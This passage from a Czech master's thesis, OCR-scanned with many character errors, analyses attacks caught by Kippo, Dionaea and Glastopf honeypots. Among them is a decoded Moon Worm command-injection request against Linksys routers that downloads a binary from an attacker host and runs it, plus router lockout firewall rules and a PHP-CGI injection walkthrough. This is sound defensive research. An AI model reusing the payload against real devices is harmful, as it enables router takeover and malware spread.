Agent5.GLF, Generic_r.EKO. Oba viry jsou povazovany za trojské koné, které jsou do
pocitace prevazné staZzeny malwarem nebo chybou uZivatele a napadaji operacni systém

Windows.
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IP: [ipadresa zdroje?]
Zachycené hrozby dle dshield.org:

Tabulka ¢. 15-Kippo 2-Zachycené hrozby dshield.org

Prvni ptipad Posledni ptipad Dtivod
2015-12-12 2016-02-20 Port 21 Scanner
2015-02-28 2016-03-11 Port 22 Scanner
2015-11-19 2015-11-20 Port 443 Scanner
2015-11-19 2015-11-20 Port 80 Scanner
2015-11-19 2015-11-20 Apache Web Server Scanner
2015-03-31 2015-05-12 Emergingthreats
2015-09-04 2016-03-13 OpenBL SSH Scanners

Zdroj: http://www.dshield.org/
Analyza obsahuje stejné zjisténi jako piedchozi zdznamy az na vyskyt skeneru pro port 21,
kde bézi sluzba FTP.

Analyza Mcfee Labs mcfee.com:

Tabulka ¢. 16-Kippo 2-Zachycené hrozby mcfee.com

Risk Web Email Sit’

Vysoky

Stfedni

Neovéreno

Minimalni

Zdroj: http://www.mcfee.com/
Analyza Mcfee neprokézala zadné hrozby, i kdyz analyza pro webové sluzby nebyla plné
ovéfena.
Analyza dle Virustotal nepfinesla Zadné hrozby.
IP: [ipadresa zdroje3]
Zachycené hrozby dle dshield.org:

Tabulka ¢. 17-Kippo 3-Zachycené hrozby dshield.org

Prvni ptipad Posledni ptipad Dutivod

2015-09-23 2015-11-06 Port 22 Scanner
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2015-02-25 2015-11-02 Port 443 Scanner
2015-02-25 2015-11-02 Port 80 Scanner
2015-02-25 2015-11-02 Apache Web Server Scanner
2015-02-26 2015-03-03 Cl Army List
2015-10-17 2015-10-19 Emergingthreats
2015-09-23 2015-11-06 Port 22 Scanner

Zdroj: http://www.dshield.org/
Analyza Mcfee Labs mcfee.com:

Tabulka ¢. 18-Kippo 3-Zachycené hrozby mcfee.com

Risk Web Email Sit’

Vysoky

Stiedni

Neovéreno

Minimalni

Zdroj: http://www.mcfee.com/
Analyza Mcfee neprokazala zadné hrozby, 1 kdyz analyza pro webové sluzby a email
nebyla plné ovétena.
Analyza na strance virustotal.com dle AVG pfinesla hrozby v podobé téchto virl
BackDoor.Generic_r.LEJ, Generic_r.EKO, Linux/Generic_c.HN, které jsou povazovany

za trojské koné a napadaji opera¢ni systémy Windows a Linux.

5.3 Dionaea

5.3.1 Analyza zachycenych soubort

Analyza byla provedena dle virustotal.com, zdroje AVG na zaklad¢ zachycenych soubort

na honeypotu Dionaea.
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Tabulka ¢. 19-Dionaea zachycené soubory

md5 hash Nézev viru
fbd8906d9e78f03a6e017e71efef2b89 Win32/Sality
2e3b03964c164b8fhd1a540764dd3ad7 Win32/Virut
64b4345a946bc9388412fedd53fh21cf Worm/Generic3.JMQ
147a42d483750c6bed6dc92020ab383b PSW.Agent. AHCN
06adalf5fa8a901clbfcchOcee7f8b53 Worm/Allaple.C
Win32/Sality

Jedna se o rodiny virtl, které infikuji spustitelné soubory na operacnim systému
Windows. Infikuje bud’ lokalni soubory, nebo soubory na uloznych zatizenich. Virus také
vytvaii peer-to-peer spojeni s botnetem pro stazeni dodate¢nych souborti a URL adres pro
budouci pfipojeni. Ma také schopnost ovlivnit ostatni bezpeénostni prvky operac¢niho
systému, tedy vypnuti bezpecnostnich aktualizaci a jinych nastaveni.

Win32/Virut

Tato rodina virti infikuje spustitelné soubory syst¢ému Windows, ASP, HTML nebo
PHP soubory. Tento druh viru pfebirad chovani ¢ervi a $ifi se kopirovanim sebe sama na
jakékoliv externi nebo lokalni zatizeni. Otevira také zadni vratka na infikovaném pocitaci a
komunikuje kryptovanym spojenim prostfednictvim IRC kanalu. Dovoluje utocnikovi
manipulovat s pocitatem jako jednotlivcem, nebo z nich vytvaret botnety.

Pokud infikuje ASP, HTML nebo PHP soubory, vytvaii v danych souborech nebezpec¢ny
HTML IFRAME tag, ktery miize byt spustén a virus stazen, pokud je webova stranka
nactena v zranitelném prohlizeci.

Worm/Generic3.JMQ

Jedna se o skodlivy software, ktery pokud je spuStén ma schopnost replikace sama

sebe a infikovani jinych soubort. Tento typ malwaru, miiZze nendpadné zapliovat misto na
HDD a pamét’ a tak zpomalit po&itad. Mize také poskodit, smazat nebo ukrast data. SiFi se
pomoci piilohy v emailu nebo jiném klientu.

PSW.Agent. AHCN

Je skodlivy program, ktery dovoluje hackerim vzdaleny ptistup k uZivatelskému

pocitaci a jakoukoliv akci, jako je modifikace soubori nebo ukradeni dilezitych udaji.

Jedna se o trojského koné.
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Worm/Allaple.C

Jedna se o sitovy virus, Sifici se prostiednictvim lokélni sité¢ a zplsobujici DoS

utoky na vzdalené servery. Pokud je spustén, miize vytvaiet nékolik riznych akci:

e DoS atok proti specifické IP adrese.

e Dos utok proti specifickému webu.

e Sitenim se po otevienych spojeni v siti.
Sifeni v siti zajistuje pomoci exploitace zranitelnosti MS06-040 a pomoci slabého hesla.
Virus si nese knihovnu s hesly a zkousi slovnikovy utok na svij cil. Pfi vytvareni DoS
utokll nejdiive ¢eka na odpoveéd’ od cile na dotaz ping, jakmile je odpovéd pozitivni a cil je

dostupny, zahaji utok na definované porty obéti.
5.3.2 Analyza spousténych SQL piikazi

5.3.2.1 DROP

Ptikaz DROP pouziti v piikazech vySe umozZiuje zruSit funkci nebo tabulku
v databazi. Pokud funkce neexistuje a je pouzito piikazu DROP spolu z klauzuli ,,IF
EXIST* ptikaz neprovede Zadnou akci. Ptikaz ,,DROP Table* také vykona implicitni
dokonceni operace ptfed i1 po, tzv. vyvold ,commit”, tedy ptikaz nelze odvolat. V tomto
piipad¢ chtél utocnik zrusit vytvofenou tabulku a také zruSit funkce, které manipuluji
S prostiedim, z diivodu libovolné manipulace.
e sys exec-Vykona libovolny pfikaz a miZe byt pouZita pro spusténi externi
aplikace.
e sys_set-Nastavi hodnotu proménné prostiedi.

e sys_get-Ziska hodnotu proménné prostiedi.
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5.3.2.2 GRANT

Ptikaz GRANT nastavi pro uzivatele, skupinu uzivateli nebo role uréené

V seznamu subjektii prava k:
e tabulce
e vybranym zdznamtim tabulky
e SQL ruting (procedura ¢i funkce)

Ptikaz vySe nastavuju mnozstvi prav jako vytvareni docasnych tabulek (CREATE
TEMPORARY TABLE) a nahledi (CREATE VIEW), mazani zaznama (DELETE), ruseni
tabulek (DROP), ziskani jakychkoliv zdznamti (SELECT) nebo nahledii (SHOW VIEW).
Vsechna tato prava jsou dana na administratora s mozZnosti dal§iho pfenosu na dal$i
uzivatele klauzule ,, WITH GRANT OPTION*.

5.3.2.3 INSERT

Piikaz INSERT umozni vlozit do tabulky jeden nebo vice zdznamu. Jsou-li za
jménem tabulky uvedeny v zavorkach jména sloupcti, pak se dané hodnoty zapisi po fadé
do téchto sloupcti a do ostatnich sloupct se zapisi implicitni hodnoty. Pokud by se jména
sloupcti neuvedla, pak se hodnoty zapisuji do vSech sloupct tabulky postupné pocinaje
prvnim. Prvni INSERT vySe nastavi hodnotu vSech sloupcti na uzivatelsky definovanou
hodnotu. Druhy insert vlozi do tabulky user pod schématem mysql hodnoty pro jednotlivé

proménné Host,User a Password tak, jak jsou definovany v zépise.

5.3.2.4 SELECT
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Piikaz SELECT umoziuje vyc¢ist data z tabulky v databazi. V piipadé kombinaci

vyse bude umoznovat spousténi sluzeb a ptikazl, jedna se naptiklad o zastaveni sluzby
»iptables” nebo stazeni a spuSténi souboru pomoci kombinaci piikazd ,wget“ a

,,chmod+x*.

5.3.2.5 SET

Piikaz SET umoznuje nastavit parametry v databazi, kdy ptikaz SET ulozi do
proménné definovanou hodnotu. V piipadé vyse bude do proménné max allowed packet

uloZena hodnota 1024.

5.3.2.6 SHOW

Piikaz SHOW umoziiuje zobrazit systémové informace o databazi a jejich
proménnych. Ptikazy vySe zobrazi jména databizi v mysql a proménné, které obsahuji

V nazvu fetézec ,,compile_os“.
5.4 Glastopf

5.4.1 Aktivita

Honeypot Glasopf poskytuje takeé statistiku nad vyhledavacimi operatory, jako jsou

intext,intitle a inurl. Jedna se o pokrocilé operatory Google pro vyhledavani na www
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strankach, které pokud se pouziji spravn¢, vam ptinesou presn¢ takové informace, jaké
ocekavate. Pokud tyto operatory v dotazu nepouzijete Google bude hledat termin ve vSech
Castech stranky, jako je titulek, url, text atp. Tvar operatoru je vzdy
operéator:hledany_vyraz.Utoénik na vech tdchto mistech hledal kliova data, pro moznosti
cileni utokd. Na strance pro operator intext se snazil naptiklad hledat zapomenutd hesla
pomoci vyrazu Password a nebo email pro moZnost spamu pomoci vyrazu Gmail. V titulu
stranky se jednalo pievazné o nalezeni oteviené administrace pomoci slov login, Admin
nebo Welcome. V poslednim hledani se jednalo o zakdzané indexované stranky v souboru
robots.txt nebo napadnuti phpMyAdmina.

5.4.1.1 intext

Operétor intext je charakterizovan tim, ¢im jsou charakterizovany ostatni enginy,
vyhledava fetézec v textu stranky. Piestoze miZe tento operator tvafit na prvni pohled jako
prilis vSeobecny, nez aby byl uzite¢ny, ve skutecné praxi se hodi, pokud vime, ze text,
ktery hleddme, se ma vyhledavat pouze v textu stranky. Alternativa operatoru ve tvaru
Allintext se také pouziva jako zkratka piikazu ,,hledej tento fetézec vSude kromé titulkd,
URL a odkazu‘“. Celkové bylo zachyceno 189 hledani, nejcastéjsi hledani jsou v tabulce
nize.

Tabulka ¢. 20-Glastopf operéator intext

Hledany vyznam

hu
o

QX
@

Parent directory

Subject

Warning:

Gmail

appSettings

env.ini

Index of /

Password

EZGuestbook

Nl N N W W w w | O ©

Fill

Zdroj:autor
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5.4.1.2 intitle

Jedna se o operétora pro hledani v titulku stranky. Z odborného hlediska se da
titulek stranky vyjadrit jako text nalezeny uvniti znacek TITLE dokumentu HTML. Kdyz
prohlize¢ zobrazuje webovou stranku, zobrazuje se titulek v nejvyssim tadku prohlizece.
Text titulku se nemusi omezovat jen na obsah této znacky v HTML. Webovy dokument se
da automaticky generovat a v nékterych piipadech nemusi mit stranka zadny titulek.

Celkovée bylo zachyceno 346 hledani, nejCastéjsi hledani jsou v tabulce nize.

Tabulka ¢. 21-Glastopf operétor intitle

Pocet Hledany vyraz

41 index.of

27 Index.of
23 login

17 \“Index

9 Index

8 Admin

8 Novell

8 Welcome

Zdroj:autor

5.4.1.3 inurl

Tento operator prohleddvd URL stranky na slovo, které mu bylo definovano. Inurl
operator patfi mezi pokrocilé operatory a hledani v URL stranky s timto operatorem neni
jednoduché z nékolika davodu:

e Google neumi ptesné hledat komponentu protokolu v URL jako je http://.
e Specialni znaky, jako jsou ,,$ nebo + a jiné zptsobuji problémy ve vyhledavani.
e Je mozné pouzit vhodnéjsi operatory, jako jsou site nebo filetype.

Celkové bylo zachyceno 3579 hledani, nejcastéjsi hledani jsou v tabulce niZe.

Tabulka ¢. 22-Glastopf operéator inurl
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Pocet Hledany vyraz
68 /
55 /robots.txt
36 /manager/Huml
15 /cgi-bin/style.css
11 http:// [ipadresa zdroje]/phpMyAdmin/
9 Admin
9 announce.php?id=
9 main.php

Zdroj:autor

5.4.2 ,Moon Worm*

Prvni utok tohoto typu byl zaznamenan 19. 9. 2015 v 23:47, posledni 7.3.2016
00:41. Celkové¢ bylo provedeno proti honeypotu 34 tutoki. Jedna se 0 ,,Moon Worm®, ¢ast
bitcoinového tézebniho malwaru, ktery infikuje Linksys routery.

Po dekddovani byl nalezen tento text:

POST /tmUnblock.cgi HTTP/1.1
Content-Length: 943
submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&
ttcp_ip=-h “cd /tmp;echo "#!/bin/sh" > .nttpd.sh;echo "rm -f .nttpd" >> .nttpd.sh;echo
"wget -O .nttpd http:// [ipadresa zdroje]:3344" >> .nttpd.sh;echo "chmod +x .nttpd" >>
.nttpd.sh;echo "./.nttpd" >> .nttpd.sh;chmod +x .nttpd.sh;./.nttpd.sh” &StartEPI=1

Utocnik si naskriptuje stahnuti souboru z URL http:// [ipadresa zdroje]:3344, ptida
prava ke spusténi, poté spusténi samotné a smazani. Na konci z n¢j ziistane pouze skript a
bézici malware v paméti.

Nézev ,/tmUnblock.cgi“ reprezentuje CGI spustitelny soubor v ur¢itych verzich
Cisco Linksys routrech. Je zranitelny na ,remote command execution” nebo ,blind
command injection”. Na zdkladé¢ vyzkumu dané¢ho malwaru®, se uatoénik pokousi
zabezpecit router proti zasahiim administratora blokovanim portit 80, 8080. Zaroven si
uto¢nik zajisti povoleni ptistupt pro presné definované IP adresy pomoci ACCEPT a
DROP.

! https://isc.sans.edu/forums/diary/Whatever+Happened-+to+tmUnblockcgi+Moon+Worm/19999/
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INPUT -p udp --dport 9999 -j DROP
INPUT -p tcp -m multiport --dport 80,8080 -j DROP
INPUT -s [server ip address utocnika] -j ACCEPT

Zdrojové zemé Utoku:

Evropa/United Kingdom, Asie/Taiwan, North America/USA, Asie/Turecko, North
America/USA, Evropa/Rusko, North America/Mexiko, Evropa/Bulharsko, Oceanie/Novy
Zeland

5.4.3 Skener ZmEu

Prvni atok tohoto typu byl zaznamenan 23. 11. 2015 v 18:01, posledni 13.3.2016
21:33. Celkové bylo provedeno proti honeypotu 36 Gtokt. ZmEu je webovy skener, ktery
byl vyvinut v . Rumunsku. V siti internet hledd a identifikuje servery, které hostujici
zranitelnou verzi phpMyAdmin. Hackery je vyuzivam pro pozdé€jSi napadeni téchto
zranitelnych servera.

Na honeypotu byly zaznamenany tyto pozadavky:

GET /w00tw00t.at.blackhats.romanian.anti-sec:%29 HTTP/1.1
GET /MyAdmin/scripts/setup.php HTTP/1.1

GET /scripts/setup.php HTTP/1.1

GET /phpmyadmin/scripts/setup.php HTTP/1.1

Zdrojové zemé utoki:
Severni  Amerika/Mexiko, Severni  Amerika/USA, Evropa/Holandsko, Severni
Amerika/USA, Asie/Singapur, Asie/Korea

5.4.4 Skener Morfeus

Prvni Utok tohoto typu byl zaznamenan 16. 09. 2015 v 18:35, posledni 25.2.2016
12:17. Celkové bylo provedeno proti honeypotu 37 utokd. Morfeus je webovy skener,
ktery je velmi roz§ifeny a hled4 zranitelnd mista ve webovych aplikacich, ptevazné v PHP.
Morfeus je velmi Casto aktualizovan na nejnovéjsi signatury Gtoki svymi bot-mastery.
Ovétfuje fetézee ,,soapCaller.bs® nebo ,/user/soapCaller.bs“, ktery je casto spojen
se systémem pro spravu obsahu, nebo Content Management System Drupal, ktery je zndm

svymi zranitelnostmi.

Na honeypotu byly zaznamenany tyto poZadavky:
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Zdrojové zemé utokd:

Asie/Indonesie, Asie/Indie, Evropa/Spojené Krélovstvi

5.4.5 Skener Muieblackcat

Prvni (tok tohoto typu byl zaznamenan 16. 09. 2015 v 13:16, posledni 8.3.2016
22:53. Celkove bylo provedeno proti honeypotu 40 Gtokd. Muieblackcat byl vytvofen na
Ukrajiné, dovoluje stejné jako ptfedchozi skenery nalézt zranitelné PHP aplikace jako je

PHPAdmin ve verzich od 2.5.6 do 2.8.2. Casto je vyuzivan bot-mastery a hackery.

Na honeypotu byly zaznamenany tyto pozadavky:

Zdrojové zemé utokd:
Severni America/lUSA, Evropa/Holandsko, Evropa/Francie, Severni America/USA,
Asie/Cina, Evropa/Némecko, Evropa/Irsko

5.4.6 CGI PHP

PHP injection
Nize je rozebran kod, ktery byl pfilozen do ptilohy B jako GlastopfB2.txt

Hlavicka byla v tomto tvaru spolu s injektovanym kodem.




Tato Cast dat bude diky své syntaxi chybné ptfedana do fadku interpretu piikaza
PHP a muze uto¢nikovi umoznit piepsani specifickych konfiguracnich parametra PHP.
V tomto piipad¢ je jedna z klicovych modifikaci ,,auto_prepend_file=php://input®, ktera
dovoli atoénikovi poslat PHP kod v téle pozadavku. Utoénik mize napiiklad pouzit

jakykoli ptikaz pro stazeni souboru wget, curl, fetch, Iwp-get a jiné. Pti dalSim rozboru téla

kodu uvidime, Ze byl pouzit piikaz wget pro stazeni skriptii ze vzdaleného tlozisté.

Utoc¢nik si zde vypiSe kontrolni volani pravdépodobné pro ovéieni zda je server zranitelny.

Tento kod vypiSe list neaktivnich funkci z webového serveru. Tyto funkce mohou
byt vypnuty z bezpe¢nostnich divodi. Tato informace je velmi daleZita pro uto¢nika, bude
védét, jaké funkce mize volat. Pokud by volal funkce, které jsou zakazany, mohl by byt

zablokovan nebo by na sebe zbyte¢né upozornil.

Kod vyse predstavuje deklaraci funkce, ktera nese nazev ,,myshellexec®. Tato

funkce ma jeden vstupni parametr, jednd se o pifikaz pro shell, ktery chceme spustit.

Vsechny tyto funkce maji vétSinou jeden hlavni ucel, spustit piikaz v shellu a vratit
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vysledky. Pokud toto budeme prozkoumavat do hloubky, je nutné si uvédomit, ze nevime,

jak systém dovoli spustit piikazovy fadek. Nékteré metody mohou byt povoleny, jiné

zakazany, proto je nutné zvolit nejefektivnéjsi cestu.

(13

Prvni je nutné najit moznost spusténi, které v kodu zajistuji dvé funkce ,,System()
a ,passthru()”. Pokud je jedna moznost nedostupna, zkusime jinou, dokud nenajdeme
funk¢éni moznost. Pokud jsme nasli cestu pro spusténi piikazu, je nutné poté ovérit pomoci
standardni php metody ,is callable* jméno funkce. Poslednim ovéfenim je funkce
»lin_array®, kterd ovéfi, ze dana funkce neni serverem zakazana. Pokud vSechna tato
ovéfeni jsou v pofadku spInéna, kdd pokracuje dal. Pokud jedna z téchto kontrol selze, kdd
pokracuje k dalsi varianté piikazu. VZdy je moZzny pouze jeden pokus na piikaz. Pokud
v§echny moznosti selzou, tzv. ,.exec”, ,,system™ i ,,passthru®, jedina moznost je naklonovat
proces, aby bézel cely znovu. Toto se déje pomoci ,popen” a vysledky jsou vraceny

pomoci ,,fread*. Pokud i toto selze, tak selhal cely exploit.
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Zavérem tento kdd umoziiuje zavolat ,,myshellexec funkci, ktery byla deklarovana

jiz diive. Kazdy piikaz ve svém téle nejdiive smazZe obsah temp slozky pomoci ,,rm -rf a
poté stahne nebezpecny soubor se specifikovanou architekturou pomoci piikazu wget. Poté
je nastaven piiznak pro spousténi ,,chmod +x* na celou slozku a spustén payload. Utoénik
se zde snazi, stahnou soubor pro vSechny dostupné architektury, coz znaéi, Ze payload
musi byt systémové zavisly, jedna se tedy o masivni ziskavani a napadavani systému vsech
architektur.

PHPCGI2

Nize je rozebran ¢ast kddu, ktery byl pfilozen do ptilohy B jako GlastopfB1.txt

V této c¢asti utocnik déla nékolik kroku.
1. Pomoci ptikazu wget stahne soubor z [ipadresa zdrojel]
2. Perl spusti z dané cesty.Oelbc.log z [ipadresa zdroje2]

3. Otevfe spojeni na portu 22 pro [ipadresa zdroje3]

Tento zajimavy kus kodu umozni Gto¢nikovi, vypnuti logovani historii systému.
Neni tedy zadny zaznam o aktivité v historii. Pfikaz uname spolu s ptepinaci a, w a id
ziska systémové informace o vlastnostech kernelu, uzivatelich a id pod kterym je toto

spousténo. Ostatni ¢asti kodu prevazné oSetiuje oteviené spojeni.



6 Zaver

Vysledkem diplomové prace je charakterizovani bezpecnostni technologie
honeypoti, prezentaci jejich moznosti pro monitorovani bezpecnostnich utokd, zjisténi
motivaci Gto¢niku a jejich technik.

V teoretické ¢asti byl proveden rozbor moznych motivaci uto¢niki a dnes$nich typt
sitovych utoki pro ziskani predstavy o dnesnich hrozbach. Poté byly rozebrany generace
honeypott, jejich architektury a mozné slabiny.

Prakticka ¢ast se zaméfila na ziskani a analyzu informaci ze tfech nainstalovanych

honeypotl. Informace byly ziskavany ptevazné z databazi prostfednictvim SQL dotaza.
Je téz mozna analyza logli na serveru, ale databaze poskytuji velmi dobré analytické
moznosti diky SQL dotazim. Pro vSechny honeypoty byly nainstalovany grafické moduly
pro vizualizaci logl. Nejlépe propracovany model vizualizace logi mél systém Kippo, kdy
bylo moZzné z weboveého rozhrani pustit 1 zdznam ¢innosti uto¢nika. Z analyzy vysledkl
byly ziskdny skutec¢né velmi zajimavé vystupy, které obsahovaly CGI skripty, moznosti
vizualizace ¢innosti Gtoc¢nika a zdrojové zemé utokt. VSechny honeypoty mély aktivovanu
moznost analyzy souboril na serverech ttetich stran, pfevazné virustotal.com a globalnich
monitoringli hrozeb. V zavéru prace se plné projevily nedostatky téchto honeypott, jednalo
se napiiklad o problematickou vizualizaci dat z Glastopf nebo nedostupnost soubort, které
chtél utocnik spoustét. Honeypot Kippo nebo Dionaea by bylo mozné pomoci rozsahlych
konfigura¢nich moznosti jesté vice upravit pro vétsi atraktivitu viaci utocnikiim

Ptinosem dané diplomové prace jsou vysledky, které byly nabidnuty sitovym a
bezpecnostnim specialistim pro analyzu a automatické nahravani zdznami hrozeb na
servery tietich stran. Vzhledem k mnozstvi ziskanych dat a potencionalu v budoucim
vyuziti se otevira mnoho moznosti k hlubsi analyze utoka, zdrojovych hrozeb nebo

upraveni konfigurace pro ziskani vétsi efektivity prace honeypotu a zaujmuti ttocniki.
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